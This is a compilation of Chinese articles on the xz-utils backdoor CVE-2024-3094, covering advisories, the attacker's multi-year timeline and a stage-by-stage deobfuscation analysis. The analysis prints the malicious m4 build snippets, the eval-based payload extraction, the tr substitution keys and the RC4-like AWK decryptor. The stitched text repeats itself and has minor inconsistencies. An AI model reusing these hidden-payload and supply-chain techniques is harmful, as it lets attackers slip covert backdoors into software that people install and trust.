3.开发者社区的责任:社区需要为开源项目的维护者提供更多的支持和保护。
原始维护者 Lasse Collin 为这个项目投入了多年的努力,却因为一次社会工程攻击导致项目险些失控。开发者社区需要联合起来,帮助像 Collin 这样的无私贡献者,让他们的工作更加安全。
如何防止类似事件发生?
为了避免类似事件重演,可以采取以下措施:
1.加强开源项目管理:为开源项目建立更严格的审核机制,防止恶意行为者渗透。
2.代码审查与测试:确保社区中的贡献者能够定期对项目进行代码审查,发现潜在问题。
3.教育与意识提升:提高开源项目维护者对社会工程攻击的警觉性,避免轻易授予权限。
这次事件的幸运之处在于它被及时发现,没有对生产环境造成影响。然而也提醒我们,开源项目的安全性不仅依赖于技术,还依赖于社区的信任与合作。开源的本质是透明与共享,但我们必须谨慎对待信任,为开源项目的维护者提供更多支持,防止恶意行为者利用这一特性。
事情简报
攻击者 JiaT75 于 2021 年注册了 GitHub 账号,之后积极参与 xz 项目的维护,并逐渐获取信任,获得了直接 commit 代码的权利。
JiaT75 在最近几个月的一次 commit 中,悄悄加入了 bad-3-corrupt_lzma2.xz 和 good-large_compressed.lzma 两个看起来人畜无害的测试用二进制数据,然而在编译脚本中,在特定条件下会从这两个文件中读取内容对编译结果进行修改,致使编译结果和公开的源代码不一致。
目前初步的研究显示,注入的代码会使用 glibc 的 IFUNC 去 Hook OpenSSH 的 RSA_public_decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证。(具体细节还在分析中)
只要是同时使用了 liblzma 和 OpenSSH 的程序就会受到影响,最直接的目标就是 sshd,使得攻击者可以构造特定请求,绕过密钥验证远程访问。
受影响的 xz-utils 包已经被并入 Debian testing 中进行测试,攻击者同时也在尝试并入 fedora 和 ubuntu。
幸运的是,Andres Freund commiter 在做一些微基准测试,看到 sshd 进程使用了惊人数量的 CPU,随后顺藤摸瓜发现了这个阴谋并报告给 linux-distros,然后报告给 oss-security。致使此事败漏。
目前 GitHub 已经关停了整个 xz 项目
恶意代码远程访问攻击
XZ Utils 是为 POSIX 平台开发具有高压缩率的工具。它使用 LZMA2 压缩算法,生成的压缩文件比 POSIX 平台传统使用的 gzip、bzip2 生成的压缩文件更小,而且解压缩速度也很快。xz 也是一种通用数据压缩格式,几乎存在于每个 Linux 发行版中,包括社区项目和商业产品发行版。从本质上讲,它有助于将大文件格式压缩(然后解压缩)为更小、更易于管理的大小,以便通过文件传输进行共享。
2024年3月30日消息,Red Hat 公司发布安全公告称在最新的 XZ Utils 数据压缩工具和库中发现了一个后门,敦促用户立即停止使用 Fedora 开发和实验版本。目前排查结果显示 Red Hat Enterprise Linux(RHEL)没有任何版本受到影响。我们已经在适用于 Debian unstable(Sid)发行版的 XZ 5.6.x 版本中找到相关证据,证明存在后门,可以注入相关代码。最新版本的 xz 5.6.0/5.6.1 工具和库中包含恶意代码,可能允许未经授权的远程系统访问。
Debian 安全团队也发布公告表示当前没有发现有稳定版 Debian 使用问题 XZ 软件包,在受影响的 Debian 测试版、不稳定版和实验版中,XZ 已被还原为上游的 5.4.5 代码。微软软件工程师安德烈斯・弗罗因德(Andres Freund)在一台 Linux 盒子上调查 Debian Sid(Debian 发行版的滚动开发版本) SSH 登录缓慢问题时,发现了这个安全问题。他发现 XZ 格式压缩实用程序 xz-utils 的上游源代码压缩包已被破解,并在构建时向生成的 liblzma5 库中注入恶意代码。弗罗因德表示目前并未找到在 XZ 5.6.0 和 5.6.1 版本中添加恶意代码的确切目的。
Kali Linux 发布声明表示该漏洞对 3 月 26 日至 3 月 29 日期间的 Kali 造成了影响,建议相关用户尽快进行最新升级。Amazon Linux 则确认未受该漏洞影响,用户无需采取任何措施。OpenSUSE 表示已于 3 月 28 日回滚了 Tumbleweed 上的 xz 版本,并发布了根据安全备份构建的新 Tumbleweed 快照(20240328 或更高版本)。
“对于 SSH 被暴露在互联网上的 openSUSE Tumbleweed 用户,我们建议重新安装,因为不知道后门是否已被利用。由于后门的复杂性,不可能在系统上检测到漏洞。此外,强烈建议对可能从系统中获取的任何凭据进行轮换。否则,只需更新至 openSUSE Tumbleweed 20240328 或更高版本并重新启动系统即可。”
安全研究人员 Andres Freund 进行的逆向工程分析发现,恶意代码使用巧妙的技术来逃避检测。更多详情可查看此 oss-security 列表;值得一提的是,目前 GitHub 已全面禁用了 tukaani-project/xz 仓库,并附有一条信息:由于违反了 GitHub 的服务条款,GitHub 工作人员已禁止访问该版本库。如果您是该版本库的所有者,可以联系 GitHub 支持部门了解详情。
红帽公司(Red Hat)现正跟踪这一供应链安全问题,将其命名为 CVE-2024-3094,并将其严重性评分定为 10/10,同时在 Fedora 40 测试版中恢复使用 5.4.x 版本的 XZ。
XZ-Utils 5.6.0-5.6.1 版本存在后门风险
开发者 JiaT75 在其 GitHub 仓库中发布的 5.6.0 和 5.6.1 版本(github.com/tukaani-project/xz/releases/)加入了后门逻辑,使得构建的 liblzma 包含额外的耗时计算逻辑。
systemd 依赖 liblzma,导致 sshd 等依赖于 systemd 的应用程序也受到影响,sshd 服务启动速度变慢,存在未授权访问风险。
存在后门版本的 xz-utils 官方发布于 2024 年 2 月 24 日,被 Debian unstable 分支、Fedora Rawhide、Fedora 40、Arch Linux 等少数仓库集成,暂未被大规模应用,CentOS/Redhat/Ubuntu/Debian/Fedora 等 stable 仓库不受影响。该漏洞于2024年3月30日被发现,CVE 编号为CVE-2024-3094。
修复方案:将 xz-utils 降级至 5.6.0 以前版本或在应用中替换为 7zip 等组件。
恶意代码潜伏三年,后门投毒黑客身份成谜
整个周末,开源软件xz被植入后门事件,引发了安全界的轩然大波。研究人员惊恐地发现,在包括Red Hat和Debian在内的多个广泛使用的Linux版本中,一款压缩工具被悄悄植入了恶意代码!
微软的安全研究员Andres Freund首次报告了这件事。发现在这款名为xz Utils的工具的5.6.0和5.6.1版本中,都含有恶意代码。而且这段恶意代码极其复杂难解。扒着扒着人们发现,这段代码是由一位名为Jia Tan的用户(JiaT75),通过四次代码变更(也即在GitHub上「提交」)的方式,植入到了Tukaani项目中。
这样攻击者即使没有有效账号,也可以直接从SSHD访问系统了。目前,GitHub已经禁用XZ Utils代码库,且还未收到漏洞被利用的报告。
好在这个后门已经及时被发现了。目前GitHub已经以违反服务条款为由,禁用了Tukaani项目维护的XZ Utils代码库。然而可怕的是,如果这个后门的漏洞很巧妙,技术很高超,那么xz被广泛引入各Linux发行版后,这些Linux系统就会轻易被入侵!这件事情可能导致的可怕后果,让安全社区对此掀起了经久不息的讨论。
一场灾难被避免了
好在证据显示,这些软件包只存在于Fedora 41和Fedora Rawhide中,并不影响Red Hat Enterprise Linux (RHEL)、Debian Stable、Amazon Linux以及SUSE Linux Enterprise和Leap等主流Linux版本。但Red Hat和Debian已经报告称,最近发布的测试版中的确使用了这些被植入后门的版本,特别是在Fedora Rawhide和Debian的测试、不稳定及实验版本中。同样Arch Linux的一个稳定版本也受到了影响,不过该版本也并未应用于实际生产系统中。另外还有一些读者报告称,macOS的HomeBrew包管理器中包含的多个应用,都依赖于被植入后门的5.6.1版本xz Utils。目前HomeBrew已经将该工具回滚至5.4.6版本。
安全公司Analygence的高级漏洞分析师Will Dormann表示,「这个问题实际上并没有对现实世界造成影响」。但这主要是因为恶意行为者疏忽了,导致问题被发现的时机很早。就如同上文所提,如果后门没被及时发现,后果将是灾难性的。
Jia Tan是谁
既然事情解决了,那么问题的焦点就集中在了——Jia Tan究竟是谁?
这位Jia Tan,是xz Utils项目的两位主要开发者之一,对该项目贡献良多。Freund其报告中指出,「考虑到这几周内的活动情况,这位提交者要么是直接涉及,要么其系统遭受了严重的安全威胁。」
不幸的是,种种迹象表明,后一种可能性似乎并不大。所以这次xz被植入后门事件,很可能就是Jia Tan的主观恶意行为。上周有人冒用了这位开发者的名字,在Ubuntu的开发者社区中请求将含后门的5.6.1版本纳入正式发布,理由是它修复了一个导致Valgrind工具出错的问题。还有人发现,近几周这位开发者也向他们提出了类似的请求,希望在Fedora 40的测试版本中使用这个带有后门的工具版本。「我们甚至还帮助他解决了Valgrind的问题(而现在看来,这个问题正是由他加入的后门引起的),」Ubuntu的维护人员说。「他已经在xz项目中工作了两年,添加了各种各样的测试文件,鉴于这种复杂的操作,我们对xz的早期版本也持怀疑态度,直到后来,它们被证明是安全的。」
后门技术分析
简单来说,CVE-2024-3094引入的这个后门,是为了在受害者的OpenSSH服务器(SSHD)中注入恶意代码,从而让远程攻击者(持有特定私钥)能够通过SSH发送任意代码,并在认证步骤之前执行,进而有效控制受害者的整台机器。尽管具体的内容仍在分析当中,但初步分析表明,它的设计相当复杂:
后门代码被注入到OpenSSH服务器(sshd进程),因为liblzma(含有恶意代码)是某些OpenSSH版本的依赖项。
后门劫持了RSA_public_decrypt函数,这个函数原本用于验证RSA签名。
恶意代码会检查RSA结构中传入的公共模数(「N」值),这个模数完全受到攻击者控制。
恶意代码使用硬编码的密钥(采用ChaCha20对称加密算法)对「N」值进行解密。
解密后的数据通过Ed448椭圆曲线签名算法进行有效性验证。由于这是一种非对称签名算法,后门只包含了公钥,这意味着只有攻击者能够为后门生成有效载荷。此外,这个签名与主机的公钥绑定,因此一个主机上的有效签名不能在其他主机上使用。
如果数据有效,该有效载荷将以shell命令的形式被执行。
如果数据无效(有效载荷格式不正确或签名无效),则会透明地恢复到RSA_public_decrypt的原始实现。这意味着,除了攻击者之外,是无法通过网络发现易受攻击的机器的。
「卧薪尝胆」三年
这次最令人印象深刻的,是攻击者超乎寻常的耐心和决心。其花费了两年多的时间,通过参与各种开源软件项目并提交代码,逐步建立起作为一个可信任维护者的形象,以此来避免被发现。
2021年,一个名为Jia Tan(GitHub用户名:JiaT75)的用户创建了GitHub账户,并开始为多个项目做出贡献。在那一年他共提交了546次代码,其中对libarchive项目的一次提交尤其引起了人们的关注。
2022年2月6日,Jia Tan在XZ项目中做出了他的第一次正式提交,这次提交增加了对LZMA和LZMA2编码器的参数验证功能。
2023年6月27日至28日,Jia Tan对XZ Utils项目进行了一系列关键的更改,从而为后续的攻击做好了准备。
特别是,项目中的一个文件crc64_fast.c,新增了对一种名为ifunc的技术的支持。根据安全研究员Andres Freund的分析,引入的这种ifunc技术可能是潜在后门功能的一部分,显示了攻击者可能利用的一种手段。
此外,值得注意的是,这个重要更新是由项目的原始维护人Lasse Collin引入的,并且他特别提到了另一位贡献者Hans Jansen对这一更新的贡献。
2023年7月8日,JiaT75在oss-fuzz项目中提交了一个请求,该项目负责对XZ等多个开源软件项目进行自动错误检测。这个请求实际上关闭了一种特定的错误检测方式,从而防止oss-fuzz发现XZ项目中潜藏的恶意代码。
2024年2月15日,JiaT75通过修改XZ项目的配置文件,加入了一个规则来忽略特定的脚本文件build-to-host.m4。
很快,这个脚本就被包含在了项目的正式发布版本中——它会在构建过程中执行,并植入一段负责在受害者电脑上安装后门的恶意代码。
2024年2月23日,JiaT75在XZ项目的测试文件夹中加入了两个含有隐藏后门的测试文件。
2024年2月24日,JiaT75发布了包含恶意脚本文件的新版本5.6.0,也就是说任何使用了这个版本及以后版本的XZ都存在安全风险。
2024年2月27日,这个带有安全隐患的版本被Fedora采纳。
2024年3月9日,JiaT75更新了后门程序,发布了版本5.6.1,Fedora同样更新了这个版本。
2024年3月29日,安全研究员Andres Freund在oss-security邮件列表上公布了他对XZ项目中发现的恶意行为的详细分析。
还有更多受害者
虽然恶意代码仅在XZ项目中被检测到,但攻击者账户的其他代码贡献目前也在调查中。
截至今日,一些项目已经被发现添加了可疑代码:
libarchive
2021年,JiaT75向libarchive代码库提交了一个名为「在使用bsdtar解压时添加错误提示文本」的合并请求,乍看之下似乎没什么问题。但仔细一看,这个合并请求中的代码把原本安全的函数safe_fprintf()换成了更危险的fprintf()函数,这一改动可能会导致字符逃逸的安全漏洞。
oss-fuzz
2023年初,JiaT75把XZ项目在Google的oss-fuzz工具上注册的主邮箱改为了他个人的Gmail邮箱。这一行为似乎暗示其想要第一时间接收到XZ项目中发现的漏洞报告,以此来及时知晓自己的恶意操作被揭露的情况。
2023年末,他们提交了一个新的合并请求(Pull Request),目的是在XZ项目的fuzzer配置中禁用「间接函数支持(Indirect function support)」。
这一操作似乎可以防止被fuzzer探测到,从而为在XZ项目中植入的后门做好铺垫。
波及的范围:
可以通过命令 xz --version 或者 xz -V 来查看当前 xz 的版本;幸运的是,该后门被及时发现,还未进入到主流 Linux 发行版的 stable 版本;但采用 rolling update 或者追求软件最新版的包管理器(例如 nix)的用户可能受到影响,请马上更新或者回退。
注意,上述命令只能确认 xz 命令是否受此后门影响,不能完全排查出系统其它软件是否依赖问题版本,从而有风险。请大家密切关注该安全事件,我们也会在官网上持续更新相关的信息。
根据 repology,已知受影响的版本:Cygwin, mingw, Manjora,AUR,Alpine( EDGE 版本 受影响,所幸 latest 版本 没有受影响 )
前沿尚未稳定的 Linux 发行版 (Arch, Debian, Red Hat, openSUSE)
XZ 开源攻击时间线
知名压缩软件 xz 被植入后门,黑客究竟是如何做到的?
Andres Freund 通过电子邮件告知 oss-security@ 社区,他在 xz/liblzma 中发现了一个隐藏得非常巧妙的后门,这个后门甚至影响到了 OpenSSH 服务器的安全。Andres 能够发现并深入调查这个问题,实在令人敬佩。他在邮件中对整个事件进行了全面的总结,所以我就不再赘述了。
诚然,这个故事中最吸引眼球、最耐人寻味的部分,无疑是那个经过重重混淆的、藏有后门的二进制文件。然而,勾起我兴趣的,却是 bash 脚本一开始的那几段代码,以及其中运用的简单而巧妙的混淆技法。接下来,就让我们沿着黑客的足迹,一层层揭开这个谜题的面纱,领略大师级的隐藏技巧。不过请注意,我并不打算事无巨细地解释每段 bash 代码的所有功能,而是着重剖析它们是如何被层层混淆、又是如何被逐一提取出来的。这才是其中的精髓所在。
在正式开始之前,有几点不得不提:
这个后门影响了 xz/liblzma 的两个版本:5.6.0 和 5.6.1。这两个版本之间存在一些细微的差异,我会尽量在分析过程中同时覆盖到它们。
bash 脚本部分可以划分为三个 (也可能是四个) 主要阶段,我将其称为 Stage 0、Stage 1 和 Stage 2。Stage 0 是指在 m4/build-to-host.m4 文件中添加的启动代码。至于潜在的 “Stage 3”,虽然我怀疑它尚未完全成型,但也会略作提及。
那些经过混淆和加密的代码,以及后面的二进制后门,都藏身于两个看似无害的测试文件中:tests/files/bad-3-corrupt_lzma2.xz 和 tests/files/good-large_compressed.lzma。切莫小觑了它们。
让我们先来看看 Stage 0 —— 这个谜题的开端。
Stage 0
正如 Andres 所指出的,一切的起点都在 m4/build-to-host.m4 文件。让我们逐步解读其中的玄机:
...
gl_[$1]_config='sed \"r\n\" $gl_am_configmake | eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null'
...
gl_path_map='tr "\t \-_" " \t_\-"'
...
首先,它从 tests/files/bad-3-corrupt_lzma2.xz 文件中读取字节流,并将其输出,作为下一步的输入。读取完所有内容后,它还会额外添加一个换行符。这种步步相扣的方式在整个过程中随处可见。
第二步是执行 tr 命令,将某些字符 (或字节值) 映射为其他字符。来看几个例子:
echo "BASH" | tr "ABCD" "1234"
21SH
在这个示例中,“A” 被映射为 “1”,“B” 被映射为 “2”,依此类推。
我们也可以指定字符范围。例如在上面的示例中,我们只需将 “ABCD” 更改为 “A-D”,并对目标字符集执行相同的操作:“1-4”:
echo "BASH" | tr "A-D" "1-4"
21SH
类似地,我们可以指定它们的 ASCII 代码的八进制形式。所以 “A-D” 可以改成 “\101-\104”,“1-4” 可以变成 “\061-\064”。
echo "BASH" | tr "\101-\104" "\061-\064"
21SH
回到我们的代码中,tr "\t \-_" " \t_\-" 对来自 tests/files/bad-3-corrupt_lzma2.xz 文件的字节流做了如下替换:
0x09 (\t) 被替换为 0x20
0x20 (空格) 被替换为 0x09
0x2d (-) 被替换为 0x5f
0x5f (_) 被替换为 0x2d
这一番调换,实际上起到了 “修复” bad-3-corrupt_lzma2.xz 文件的作用,让它重获新生,成为一个合法的 xz 数据流。
在 Stage 0 的压轴戏中,修复后的 xz 字节流被提取出来,并对过程中的错误选择性地忽略。而这个过程的成果,正是 Stage 1 的脚本,它随即自我执行起来。
接下来,让我们关注 Stage 1 —— 那个充满神秘色彩的开端。
Stage 1
在 Andres 的邮件中,Stage 1 对应的是那个以 “####Hello####” 开头的 bash 文件。它虽然篇幅不长,但值得我们仔细研读,并留意 5.6.0 和 5.6.1 版本之间的差异 (以黄色字体做标记):

第一个区别是第二行注释中的随机字节:
在 5.6.0 版本中是 86 F9 5A F7 2E 68 6A BC;
在 5.6.1 版本中是 E5 55 89 B7 24 04 D8 17。
我不确定这些差异是否有任何意义,但我还是想指出来。
其中一处引人注目的差异是,5.6.1 版本新增了一段检查脚本是否运行于 Linux 的代码,并重复出现了 5 次,颇有几分忏悔和自我约束的意味。
下面我们把目光转向 Stage 2 的提取代码,就是那个长度惊人的 export i=... 语句,里面塞满了 head 命令。让我们仔细分析一下它的运作机制:
开头的 export i=... 其实定义了一个 “函数”,在第 3 步和 Stage 2 中被调用。
提取 Stage 2 的第一步,是使用 xz 解压 good-large_compressed.lzma 文件,并将解压后的数据传递给下一步。这开启了一系列环环相扣的 “接力赛”。
紧接着,i “函数” 登场 (eval $i)。这个函数由一系列 head 命令组成,要么输出接下来的 N 个字节,要么彻底忽略它们。
最初的代码:
(head -c +1024 >/dev/null)
这里的 -c +1024 选项告诉 head 只读取和输出来自输入数据流的接下来的 1024 个字节 (请注意,这里的 + 将会被忽略,它不会做任何事情,这与 tail 命令不一样)。但是,由于输出在这种情况下被重定向到 /dev/null,我们实际得到的是 “跳过接下来的 1024 个字节”。
值得注意的是,如果我们仔细观察 good-large_compressed.lzma 解压后的前 1024 个字节,会发现它几乎全是重复了 1024 次的字符 “A” (字节 0x41)。有趣的是,在第一个 1024 个字符之后,还隐藏着一些神秘的二进制数据。
下一个 head 调用看起来和之前几乎相同,只是长度不同:
head -c +2048
注意这里的输出不会被忽略,它将作为输入传递给下一步。
这个模式反复出现:1024 个字节被跳过,然后 2048 个字节被输出,1024 个字节被跳过,2048 个输出... 如此循环,直到文件的末尾,在 5.6.0 版本中只输出 724 个字节,而在 5.6.1 版本中只输出 939 个字节。
为了直观地呈现这一点,这里展示了这组 head 调用处理的实际输入数据。字节 0 在文件的左上角;每一列表示文件的 256 个字节,以灰度表示。请注意高熵 (“嘈杂”) 区域之间的 “空灰” 区域 – 脚本的这一部分基本上是删除空白区域,将蕴藏数据的区域合二为一。

在下一步中,使用 tail -c +31233 命令丢弃数据的前部 (剧透一下:那里隐藏了一扇二进制后门,它将在下一个阶段被打开,所以现在还用不到它)。在 5.6.0 版本中,丢弃的是前 31264 个字节,而在 5.6.1 版本中是 31232 个字节 (一个字节的差异是因为 tail -c +N 的意思是 “从第 N 个字节开始输出”,而不是 “忽略前 N 个字节”)。
第 5 步重新使用了 tr 命令,在这里它被用作一个简单的替换密码,在 5.6.0 和 5.6.1 版本中有不同的密钥 (字节值映射):
5.6.0: tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
5.6.1: tr "\114-\321\322-\377\35-\47\14-\34\0-\13\50-\113" "\0-\377"
根据之前的解释,这基本上意味着 (对于 5.6.0 版本) 值为 5 的字节将被值为 0 的字节替换,值为 6 的字节将被值为 1 的字节替换,依此类推。在每种情况下,都有 6 个范围映射到整个 0 - 255 (即八进制的 377) 范围。
整个过程反复上演着这样的 “捉迷藏” 游戏:跳过 1024 字节,然后输出 2048 字节,再跳过 1024 字节,再输出 2048 字节…… 直到抵达文件的尽头。
这部分脚本的真正任务,是剔除其中的 “废料”,将有价值的数据部分连缀成完整的数据流。
下一步中,数据流的前面一大段被果断抛弃。
往后是借助 tr 命令实施简单的替换加密,5.6.0 和 5.6.1 版本使用了不同的密钥。
最后,加密后的数据经过解压缩,呈现出 Stage 2 脚本的真容,并立即投入自我执行的怀抱。
现在,让我们进入 Stage 2,一探究竟。
Stage 2
Stage 2 就是 Andres 邮件中提到的 infected.txt 文件 (我手头只有 5.6.0 版本)。这个 bash 脚本可谓洋洋洒洒,正是在这里,编译过程遭到了不轨的修改。
以混淆的视角审视这个脚本,有三个片段值得我们特别关注,其中两个仅在 5.6.1 版本中才显露真容。
Stage 2 扩展机制
首先是 Stage 2 的 “扩展” 机制:
片段 1:
vs=`grep -broaF '~!:_ W' $srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '|_!{ -' $srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
片段 2:
vs=`grep -broaF 'jV!.^%' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$vs" != "x" > /dev/null 2>&1;then
f1=`echo $vs | cut -d: -f1`
if test "x$f1" != "x" > /dev/null 2>&1;then
start=`expr $(echo $vs | cut -d: -f2) + 7`
ve=`grep -broaF '%.R.1Z' $top_srcdir/tests/files/ 2>/dev/null`
if test "x$ve" != "x" > /dev/null 2>&1;then
f2=`echo $ve | cut -d: -f1`
if test "x$f2" != "x" > /dev/null 2>&1;then
[ ! "x$f2" = "x$f1" ] && exit 0
[ ! -f $f1 ] && exit 0
end=`expr $(echo $ve | cut -d: -f2) - $start`
eval `cat $f1 | tail -c +${start} | head -c +${end} | tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377" | xz -F raw --lzma2 -dc`
fi
fi
fi
fi
这两个代码片段几乎完全相同,所以让我们可以同时处理这两个片段。它们的作用如下:
它在 tests/files/ 目录下搜寻 (grep -broaF) 具有特定签名的两个文件:
Fragment 1: "~!:_ W" and "|_!{ -"
Fragment 3: "jV!.^%" and "%.R.1Z"
如果找到它们,就提取每个文件的偏移量 (cut -d: -f2,假定 : 是字段分隔符,则取第 2 个字段),以第一个偏移量加 7 为 $start,以第二个文件的偏移量作为 $end。
掌握了 $start 和 $end 这两个关键信息后,脚本就能从第一个文件中提取 $start 到 $end 之间的内容。
cat $f1 | tail -c +${start} | head -c +${end}
接下来,它使用和 Stage 1 如出一辙的替换解密方式 (对于 5.6.0 版本的密钥)。
tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377"
最后,解密后的数据再次经过解压缩,然后立即执行:
eval `... | xz -F raw --lzma2 -dc`
有趣的是,在我分析的两个版本中,都没有任何文件真正匹配这里的签名。因此,整个过程更像是一种 “插件/补丁” 机制,它允许我们在不修改原始 payload 的前提下,向 Stage 2 中注入新的脚本。
这是一个明智的设计,因为反复修改 “坏” 和 “好” 的测试文件是非常可疑的行为,可能会引起他人的注意。因此,他们的计划似乎是只添加新的测试文件,这些文件会被选中、解密并执行。
Stage 2 后门提取
然后是 Stage 2 中的后门提取过程。在某个关键时刻,一个 .o 文件会被悄然提取出来,并巧妙地嵌入编译和链接的流程中。以下代码就是这个环节的主谋(和之前一样,我将用黄色字体区分两个版本的差异):

两个版本之间的差异,主要体现在压缩后的 payload 大小略有不同(5.6.0 版本的 payload 大小为 88792,而 5.6.1 版本的 payload 大小为 88664),以及 AWK 脚本中的一个神秘常量有所变化。
与前面的步骤如出一辙,提取过程由一系列命令的完美配合构成。其中一些步骤与 Stage 1 遥相呼应,因为二进制的 payload 就安睡在 “good” 文件数据尚未开垦的处女地。让我们沿着脚印,一步步探寻:
第一步与 Stage 1 的第二步相同,用 xz 解压 tests/files/good-large_compressed.lzma 文件。
第二步同样与 Stage 1 的第三步一致,调用了先前的那个 “很多 head” 的函数。
从这里开始,事情就有所不同了。首先,前一步的输出通过 sed 命令进行了修改:
LC_ALL=C sed "s/\(.\)/\1\n/g"
这个命令的作用是在每个字节后面添加一个换行符(除了换行符本身)。最终,我们得到了一个每行只有一个字节的输出(没错,这里大量混合了处理文件的 "文本" 和 "二进制" 方法)。下一步恰好需要这种格式。
下一步,一个 AWK 脚本粉墨登场,它对输入流进行类似 RC4 的解密工作。以下是该脚本的美化版本:
BEGIN { # Initialization part.
FS = "\n"; # Some AWK settings.
RS = "\n";
ORS = "";
m = 256;
for(i=0;i<m;i++) {
t[sprintf("x%key", i)] = i;
key[i] = ((i * 7) + 5) % m; # Creating the cipher key.
}
i=0; # Skipping 4096 first bytes of the output PRNG stream.
j=0; # ↑ it's a typical RC4 thing to do.
for(l = 0; l < 4096; l++) { # 5.6.1 uses 8192 instead.
i = (i + 1) % m;
a = key[i];
j = (j + a) % m;
key[i] = key[j];
key[j] = a;
}
}
{ # Decription part.
# Getting the next byte.
v = t["x" (NF < 1 ? RS : $1)];
# Iterating the RC4 PRNG.
i = (i + 1) % m;
a = key[i];
j = (j + a) % m;
b = key[j];
key[i] = b;
key[j] = a;
k = key[(a + b) % m];
# As pointed out by @nugxperience, RC4 originally XORs the encrypted byte
# with the key, but here for some add is used instead (might be an AWK thing).
printf "%key", (v + k) % m
}
解密后的数据再次通过 xz 解压缩,重获新生。
xz -dc --single-stream
最后,使用相同的常用 head 技巧提取从 N(0)到 W(约 86KB)的字节,并将其保存为 liblzma_la-crc64-fast.o—— 这就是最终的二进制后门文件。
((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o
小结
通过以上分析可以看到,有人煞费苦心地将这个后门隐藏得如此巧妙,令人叹为观止。从将 payload 藏匿于看似无害的二进制测试文件之中,到运用文件提取、替换加密、RC4 变种等技巧,再到将整个过程拆分为多个执行阶段,并预留 “插件” 机制以备将来之需,这一切无不凸显出幕后黑客的心思缜密和技艺精湛。
然而,这个案例也给我们敲响了警钟:如果这样一个精心设计的后门都是要靠意外才能发现,那么还有多少潜藏的威胁尚未浮出水面?我们又该如何及早发现并防范这些威胁?这需要安全社区每一位成员保持警惕,用更加缜密的思维去分析每一处细节,去揭示每一个蛛丝马迹。只有如此才能筑起维护网络安全的坚实防线。
作者及官网声明
注意,攻击的开发者是 Jia Tan,而非 xz-utils 的原作者 Lasse Collin。以下是 Lasse Collin 的声明:
Facts:
CVE-2024-3094
XZ Utils 5.6.0 and 5.6.1 release tarballs contain a backdoor. These tarballs were created and signed by Jia Tan.
Tarballs created by Jia Tan were signed by him. Any tarballs signed by me were created by me.
GitHub accounts of both me (Larhzu) and Jia Tan are suspended.
xz.tukaani.org (DNS CNAME) was hosted on GitHub pages and thus is down too. It might be moved to back to the main tukaani.org domain in the near future.
Only I have had access to the main tukaani.org website, git.tukaani.org repositories, and related files. Jia Tan only had access to things hosted on GitHub, including xz.tukaani.org subdomain (and only that subdomain).
当前作者的声明比较仓促,因此大家可以持续关注官网的声明。
目前还未完全清楚该事件的影响范围;但 openssh 的 sshd 首当其冲;注入的代码会 Hook OpenSSH 的 RSA_public_decrypt 函数,致使攻击者可以通过构造特定的验证数据绕过 RSA 签名验证,允许特定的 SSH 密钥进行登录,绕过 SSH 身份验证。凭此一点,足见其影响之恶劣。
回头看:席卷Linux世界的巨大威胁是如何被阻止的
2024 年 3 月,一名开发者的偶然发现,阻止了一场可能席卷全球的安全灾难。这场危机的核心是一款名为 XZ Utils 的开源工具,它被植入了恶意代码,这些代码如果成功运行,黑客将能够控制全球范围内的 Linux 系统。在此再了解这起事件的来龙去脉以及能从中能得到 的经验教训。
背景回顾:比 Log4Shell 更危险的漏洞
2021 年的 Log4Shell 这个 Java 日志库 Apache Log4j 中的一个漏洞,被誉为过去十年中最严重的安全漏洞之一。当时,全球开发者不得不为数百万个应用程序紧急更新补丁以修复这一漏洞。然而,有一个漏洞的威胁规模比 Log4Shell 大 1000 倍,它几乎可以影响全球所有 Linux 系统。这次的核心问题在于 XZ Utils,一款广泛应用于 Linux 发行版中的数据压缩工具。恶意行为者将一个远程代码执行的后门植入了该工具,如果未被发现,后果将不堪设想。
漏洞如何被意外发现?
2024 年 3 月 29 日,微软工程师兼 PostgreSQL 开发者 Andres Freund 在一次性能基准测试中,发现了一个异常。他注意到 Debian Linux 测试版中的 SSH 安全代码运行速度非常缓慢。Freund 在 Mastodon 上发文表示:“当时我正在进行微基准测试,为了减少噪音需要让系统保持安静。我发现 sshd 进程占用了异常高的 CPU 资源,尽管这些进程因错误用户名等原因立刻失败了。”
进一步调查后,Freund 确认 XZ Utils 的维护者 Jia Tan 在代码中植入了后门程序。此后,这一漏洞被标记为 CVE-2024–3094,并被评为最高严重等级(CVSS 分数 10.0)。受影响的版本为 XZ Utils 5.6.0 和 5.6.1。幸运的是,这些恶意代码仅出现在 Fedora、Debian、Kali、openSUSE 和 Arch Linux 的不稳定版和测试版中,尚未进入任何生产环境的 Linux 发行版。
幕后故事:社会工程的经典案例
事件的背后,是一起典型的社会工程攻击(Social Engineering)。XZ Utils 的原始维护者 Lasse Collin 长期忙于其他项目,导致对 XZ Utils 的维护力度不足。作为一个开源项目,任何人都可以提交代码,甚至申请成为维护者。此时一个名为 Jia Tan 的人出现了。他主动提出协助维护项目,并得到了多个“同伴”的推荐。这些人不断称赞 Tan 是一位优秀的贡献者,并积极推动 Tan 成为项目的共同维护者。最终,Tan 在 2021 年被正式添加为 XZ Utils 项目的联合维护者。从那时起,Tan 持续向项目推送代码,并在其中悄悄植入了恶意后门。
2024 年事件曝光后,GitHub 迅速封禁了 XZ Utils 项目及其维护者 Collin 和 Tan 的账户。Collin 当时正在度假,得知事件后立刻在个人博客中发布声明,并持续更新更多信息。微软高级威胁研究员 Thomas Roccia 还在 X 平台上发布了一张详细的时间线信息图,解释了整个事件的来龙去脉。
